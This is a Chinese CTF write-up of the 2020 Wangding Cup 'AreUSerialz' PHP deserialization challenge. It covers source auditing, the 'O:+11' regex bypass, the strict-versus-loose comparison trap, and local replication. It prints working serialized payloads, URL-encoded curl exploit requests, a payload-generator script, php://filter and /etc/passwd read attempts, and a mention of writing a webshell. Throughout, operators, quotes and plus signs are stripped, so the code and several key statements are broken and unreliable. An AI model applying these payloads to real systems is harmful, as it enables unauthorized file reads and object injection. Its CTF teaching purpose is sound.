网鼎杯2020 AreUSerialz:PHP反序列化入门与绕过技巧详解

发布时间:2026/10/9 8:21:37
网鼎杯2020 AreUSerialz:PHP反序列化入门与绕过技巧详解
网鼎杯 2020 青龙组的这道 AreUSerialz我愿称之为 PHP 反序列化的入门必修课。题目名字本身就是谐音梗AreUSerialz 读起来就是 Are you serial?出题人等于在说不会序列化就别来了。事实也确实如此整道题的核心就是 PHP 反序列化难度不大但在细节上埋了好几个坑尤其适合刚接触 CTF Web 方向、想搞明白 unserialize 到底怎么玩的人。我当年第一次做这道题的时候也踩了坑回头整理下来发现它几乎把反序列化的经典考点串了一遍魔术方法触发、强比较与弱比较的差异、序列化对象被正则过滤时的绕过技巧。这篇文章不打算写得太玄直接按我当时做题的流程走一遍从源码审计开始一步步分析哪里能利用、怎么构造 payload、哪些坑必须避开。1. 题目概览谐音梗背后的考点1.1 题目基本信息网鼎杯 2020 青龙组的 Web 题名字叫 AreUSerialz题型是典型的白盒 PHP 反序列化。打开题目页面就能看到完整源码highlight_file(__FILE__)直接把代码亮给你目标很明确通过传入一个str参数触发反序列化最终拿到 flag。我当时看到题目的第一反应是既然叫 AreUSerialz而且页面直接给出源码那重点一定在unserialize()这个函数上。CTF 里面这种“代码全给你”的题反而比黑盒更好做因为不需要猜只需要读代码、找逻辑漏洞然后构造一条合理的调用链。整道题给我的感觉就是不需要任何中间人攻击、不需要爆破纯粹拼代码审计能力和对 PHP 语言特性的理解。1.2 为什么这道题值得复盘这道题的含金量在于“麻雀虽小五脏俱全”。它涉及的知识点包括PHP 对象序列化与反序列化的基本格式魔术方法__destruct()的触发时机强比较与弱比较的区别正则过滤/\[oc\]:\d:/i的绕过思路file_get_contents读取文件时的路径构造这几块内容单独拎出来都不难但组合在一起就很容易让人栽跟头。我记得当时看网上很多人的 writeuppayload 就一行看起来特别简单但自己动手复现时却发现怎么都不出 flag原因就是序列化字符串里某个属性类型不对、长度算错或者 URL 编码没处理。所以这篇文章我把每一步都拆开讲尽量让读者能照着复现成功。2. 源码审计把 FileHandler 的底裤翻出来2.1 入口点与过滤规则题目源码先include(flag.php)然后高亮显示文件内容紧接着定义了一个FileHandler类最后有一段入口逻辑if(isset($_GET[str])) { $str (string)$_GET[str]; if(preg_match(/[oc]:\d:/i, $str)) { die(Stop Hacking!); } unserialize($str); }这段代码的逻辑非常直白接收 GET 参数str强转成字符串然后用正则过滤最后直接unserialize。这里有几个细节值得注意。第一(string)$_GET[str]这个强转在正常情况下是多余的因为$_GET里的值本身就是字符串这个操作更像是“保险措施”防止有人传入数组类型的参数。第二正则/[oc]:\d:/i匹配的是字符o或c大小写不敏感后面紧跟冒号、一个或多个数字、再一个冒号。换句话说它专门拦截标准的 PHP 对象序列化字符串。PHP 中对象序列化的格式是O:类名长度:类名:属性数量:{...}其中O就是对象标识而C是自定义序列化接口的标识。这个正则等于直接把最常见的对象序列化写法全挡掉了。第三unserialize($str)的返回值没有被赋值给任何变量。这个细节很重要意味着这个临时对象在语句执行结束后会立刻被销毁从而触发__destruct()魔术方法。出题人显然就是想让__destruct()成为整个利用链的起点。2.2 三个核心方法的业务逻辑FileHandler类中有三个公开方法process()、write()、read()以及一个辅助方法output()。先看process()public function process() { if($this-op 1) { $this-write(); } else if($this-op 2) { $res $this-read(); $this-output($res); } else { $this-output(Bad Hacker!); } }process()根据op属性的值决定走哪条分支等于1就写文件等于2就读文件否则输出Bad Hacker!。再看write()public function write() { if(isset($this-filename) isset($this-content)) { if(strlen((string)$this-content) 100) { $this-output(Too long!); die(); } $res file_put_contents($this-filename, $this-content); if($res) $this-output(Successful!); else $this-output(Failed!); } else { $this-output(File not found!); } }write()需要filename和content两个属性都有值并且content字符串长度不能超过 100然后调用file_put_contents把内容写入文件。如果能控制这两个属性理论上可以往服务器写任意文件比如写一个 webshell。不过题目环境是否允许写文件、写到哪里需要结合实际目录权限判断。然后是read()这道题我们真正要走的分支public function read() { if(isset($this-filename)) { if(!preg_match(/flag/i, $this-filename)) { $this-output(Permission denied!); } else { $res file_get_contents($this-filename); $this-output($res); } } else { $this-output(File not found!); } }read()先判断filename是否设置然后检查文件名里是否包含flag不区分大小写如果不包含就输出Permission denied!包含则用file_get_contents读取文件内容并输出。熟悉 PHP 文件操作的读者应该已经反应过来了file_get_contents的参数不限于普通文件路径只要 PHP 环境开启了allow_url_fopen还可以用php://filter这样的流包装器。这意味着即使文件名被限制为必须包含flag也完全可以构造出合法的读取路径。2.3 __destruct 才是真正的触发入口FileHandler类定义了一个析构方法public function __destruct() { if($this-op 2) $this-process(); else $this-output(Hacker!); }__destruct()在对象被销毁时自动调用。由于入口代码里unserialize($str)没有把返回值赋给变量临时对象在语句结束时立刻销毁所以__destruct()一定会执行。但是这里有个关键陷阱__destruct()里用的是强比较$this-op 2要求op的值不仅是数字2还必须是字符串类型2。如果把op序列化成整数2那么2 2的结果为false会走进else分支输出Hacker!整个利用链就断了。而process()里用的却是弱比较$this-op 1和$this-op 2。弱比较在 PHP 中会自动做类型转换字符串2和整数2都会被当成同一个值。这两种比较运算符混用正是出题人埋下的第二个坑。3. 漏洞利用两个坑和一条链3.1 坑一正则过滤与加号绕过正常的 PHP 对象序列化字符串长这样O:11:FileHandler:3:{...}其中O代表对象11是类名FileHandler的字符长度3是属性数量。题目正则/[oc]:\d:/i会匹配O:紧跟数字的部分因为正则中的i修饰符让大小写不敏感O和o都会被匹配连自定义序列化的C开头格式也被一并拦下。那怎么绕过答案是利用 PHPunserialize解析的宽容性在对象类型标识符和类名长度之间加一个号写成O:11:FileHandler:3:{...}PHP 官方文档和实际运行都允许这种写法会被忽略当成普通的正号处理。但正则却匹配不了它因为不是数字。这样一来过滤规则就被完美绕过了。这里再说一个容易忽略的点preg_match是搜索匹配不是全字匹配。就算你用一个大的数组序列化字符串包住对象只要整个字符串里出现了O:11:这样的片段照样会被正则命中。所以不能靠外层套数组来绕过只能从对象标识符本身的写法上下功夫。加号绕过的本质是让“实际给unserialize解析的字符串”和“正则试图匹配的字符串”产生差异。3.2 坑二强比较与弱比较的区别前面已经提到__destruct()用强比较process()用弱比较。这里再展开说说为什么只能用字符串2。PHP 的弱比较会比较两个值在自动类型转换后的结果。2 2为true2 1为false。强比较则要求类型和值都完全一致2 2为false2 2为true。假设我们在序列化字符串里把op写成整数s:2:op;i:2;那么反序列化后$this-op是整数2进入__destruct()时2 2不成立直接输出Hacker!根本走不到process()。假设把op写成布尔值true同样会因为类型不是字符串而被强比较拦下。所以唯一正确的写法是s:2:op;s:1:2;也就是把op序列化为一个长度为 1 的字符串2。这样才能满足__destruct()中的强比较之后进入process()弱比较2 2自然也是成立的成功走进read()分支。3.3 构造 payload 并发送请求现在整条调用链已经清晰了反序列化一个FileHandler对象op为字符串2通过__destruct()强比较进入process()走到read()分支filename包含flag通过正则检查file_get_contents读取 flag 文件并输出那么首先要确定类名长度。FileHandler一共 11 个字符所以类名长度是11不是某些 writeup 里写的12。如果你用手工构造时把长度写错unserialize会直接报错或者解析出错误的对象。属性名长度也要注意op是 2filename是 8content是 7。理论上 payload 可以这样手写O:11:FileHandler:3:{s:2:op;s:1:2;s:8:filename;s:8:flag.php;s:7:content;s:1:x;}其中s:8:flag.php表示filename的值为flag.php长度为 8。content随便给一个长度为 1 的字符串即可因为read()分支根本不会用到它。不过我更推荐用 PHP 自动生成避免手算长度出错。先正常创建一个FileHandler对象并序列化然后做一次字符串替换把O:11:替换成O:11:脚本如下?php class FileHandler { public $op 2; public $filename flag.php; public $content x; } $payload serialize(new FileHandler()); $payload str_replace(O:11:, O:11:, $payload); echo $payload . \n; echo urlencode($payload) . \n; ?把脚本放到本地 PHP 环境里跑一下就能得到原始 payload 和 URL 编码后的结果。注意urlencode会把编码成%2B这一点非常重要URL 里的会被服务器解析为空格如果直接传输未编码的反序列化字符串就变成了O: 11:FileHandler...格式直接损坏。实际发送请求时用 curl 或者浏览器都行。我当时的请求长这样curl http://target/?strO%3A%2B11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D如果 flag 在flag.php里页面会回显[Result]: ?php $flag flag{...}; ?。因为file_get_contents读取的是文件源码PHP 标签不会被解析会原样显示在页面里。4. 本地复现从零打一遍4.1 搭建本地靶场在线的题目环境过期了也没关系完全可以在本地复现。创建一个目录里面放两个文件flag.php和test.php。flag.php内容随意只要能看出读取成功?php $flag flag{test_flag_for_areuserialz}; ?test.php直接模拟题目源码注意保留入口逻辑和类定义?php include(flag.php); highlight_file(__FILE__); class FileHandler { public $op 1; public $filename /flag.txt; public $content; public function process() { if($this-op 1) { $this-write(); } else if($this-op 2) { $res $this-read(); $this-output($res); } else { $this-output(Bad Hacker!); } } public function write() { if(isset($this-filename) isset($this-content)) { if(strlen((string)$this-content) 100) { $this-output(Too long!); die(); } $res file_put_contents($this-filename, $this-content); if($res) $this-output(Successful!); else $this-output(Failed!); } else { $this-output(File not found!); } } public function read() { if(isset($this-filename)) { if(!preg_match(/flag/i, $this-filename)) { $this-output(Permission denied!); } else { $res file_get_contents($this-filename); $this-output($res); } } else { $this-output(File not found!); } } public function output($s) { echo [Result]: ; echo $s; } public function __destruct() { if($this-op 2) $this-process(); else $this-output(Hacker!); } } if(isset($_GET[str])) { $str (string)$_GET[str]; if(preg_match(/[oc]:\d:/i, $str)) { die(Stop Hacking!); } unserialize($str); } ?然后在目录下启动 PHP 内置服务器php -S 127.0.0.1:8080访问http://127.0.0.1:8080/test.php就能看到源码页面。4.2 四次对比测试有了本地靶场就可以把各种情况都测一遍看看每种写法到底会触发什么结果。第一次发送正常利用 payloadcurl http://127.0.0.1:8080/test.php?strO%3A%2B11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D结果页面上出现[Result]: ?php $flag flag{test_flag_for_areuserialz}; ?说明整条链走通了。第二次发送不带的 payload验证正则拦截curl http://127.0.0.1:8080/test.php?strO%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D页面输出Stop Hacking!说明正则生效了。第三次把op改为整数2只改序列化中对应属性O:11:FileHandler:3:{s:2:op;i:2;s:8:filename;s:8:flag.php;s:7:content;s:1:x;}这次页面输出[Result]: Hacker!。原因就是强比较2 2不成立__destruct()走进了else分支。第四次把filename改为一个不包含flag的文件路径比如/etc/passwdO:11:FileHandler:3:{s:2:op;s:1:2;s:8:filename;s:11:/etc/passwd;s:7:content;s:1:x;}页面输出[Result]: Permission denied!证明read()里的文件名检查确实起作用了。经过这四次对比整道题的逻辑就完全清楚了过滤拦截、强比较、文件名校验每一步都必须满足缺一不可。4.3 扩展思路用 php://filter 读源码如果 flag 不在根目录或者flag.php内容包含特殊字符导致页面显示异常还可以用php://filter来读取源码。read()只检查filename字符串里有没有flag而php://filter/convert.base64-encode/resourceflag.php这个字符串天然包含resourceflag.php完全满足正则要求。对应 payload 需要把filename的值改成上面的 filter 字符串但这个字符串比较长手算长度很容易出错所以更推荐用脚本生成。用php://filter读取后页面会返回一段 base64 编码的内容解码后就是flag.php的源码。5. 踩坑记录与排查思路5.1 典型问题速查表做这类题的时候最烦的就是 payload 看起来没问题但就是不出 flag。我把自己实际调试中遇到的情况整理成了表格方便对照排查。现象可能原因排查方法页面输出Stop Hacking!序列化字符串中O:后面没有加被正则拦截检查所有对象标识符确认改写为O:11:页面输出[Result]: Hacker!op属性类型不是字符串2检查序列化片段应为s:1:2;不能是i:2;或b:1;页面输出[Result]: Permission denied!filename不包含flag子串改为flag.php、/flag.txt、php://filter/.../resourceflag.php等路径页面输出[Result]: File not found!filename未设置或序列化属性名错误确认s:8:filename;长度正确值存在页面空白或反序列化报错类名长度、属性名长度计算错误用 PHP 脚本serialize()自动生成 payload再替换O:11:为O:11:URL 传参后变成空格未对做 URL 编码将手工替换为%2B或使用urlencode()后的完整字符串能读取但页面看到的是 PHP 源码标签读取的是.php文件内容未被解析属于正常现象flag 就在源码文本中也可改用php://filter读取 base64 内容5.2 几个容易忽略的细节第一反序列化属性顺序并不重要。PHP 在反序列化时会根据属性名把值赋给对应属性所以属性在序列化字符串里的排列顺序可以任意调整。但属性数量必须匹配少写一个属性会导致解析错误多写一般会被忽略。第二FileHandler的类名长度是 11不是 12。网上有些早期的 writeup 写的是O:12这是错的。一旦类名长度和真实类名不匹配反序列化就会失败。如果拿不准直接在本地跑一下strlen(FileHandler)就能确认。第三content属性在read()分支里完全用不到但序列化字符串里依然要给它一个值因为属性总数是 3。如果你只写两个属性PHP 反序列化时虽然会尽量容错但为了稳妥最好不要冒险。第四URL 编码问题。整套 payload 里包含大量特殊字符冒号、引号、花括号、分号、加号。在浏览器中直接拼接 URL 时引号和花括号都需要编码。用 Burp Suite 或者写脚本发送请求会更方便否则很容易被各种编码问题干扰。第五unserialize失败时通常不会输出 PHP 警告如果程序里没有开启错误显示所以页面可能表现为空白或者直接返回 500。这时候不要乱猜把 payload 放到本地测试环境里跑一下看 PHP 报错信息是最快的方式。6. 从这道题到真实世界的反序列化6.1 真实场景中的对象注入很多人觉得 CTF 里的反序列化题只是出题人自嗨跟真实世界没关系。其实不然。PHP 应用里只要存在“用户可控的序列化数据被反序列化”的情况就可能被对象注入。典型的场景包括把用户信息序列化后存进 Cookie、把对象序列化后写入$_SESSION文件、把序列化请求体直接传给unserialize。当攻击者能控制这些序列化字符串时就可以构造特定对象让它在反序列化或析构时触发危险方法形成类似这道题的 POP 链。历史上很多真实漏洞都出在这个模式上ThinkPHP 的反序列化 RCE、Laravel 的Illuminate反序列化利用链、各种 CMS 的插件漏洞本质上都是“可控反序列化 魔术方法 危险函数”。所以别看这道题只是一个比赛小题它背后的原理在真实漏洞分析中非常常见。6.2 复盘之后的三点体会第一次做这道题时我卡在强比较和弱比较那个坑上很久。当时只想着用弱比较方便直接把op设成了整数2结果页面反复输出Hacker!完全没意识到__destruct()里还有一个在等着。后来把源码逐行读了一遍才惊觉这两个运算符的混用就是出题人故意埋的雷。第二点体会是构造反序列化 payload 时千万别高估自己的心算能力。类名长度、属性名长度、属性值长度但凡错一个数字整个字符串就废了。老老实实用 PHP 脚本生成再改一个是最稳的做法。很多 writeup 里给的 payload 都是经过脚本生成的直接抄可能没问题但一旦题目环境或类名变化自己手算就会翻车。第三点体会是遇到过滤条件不要急着想什么花里胡哨的绕过姿势先看看 PHP 语言本身是不是比正则更“宽容”。这道题里O:11能绕过靠的就是unserialize对加号的容忍而这种宽容性往往就是出题人留给你的生路。后来我复盘网鼎杯后续年份的题目甚至去看网鼎杯 2024 的 writeup会发现很多反序列化题的核心套路依然没变找入口、找魔术方法、找危险函数、绕过过滤。把这几个环节练熟了以后遇到类似的题目就会顺畅很多。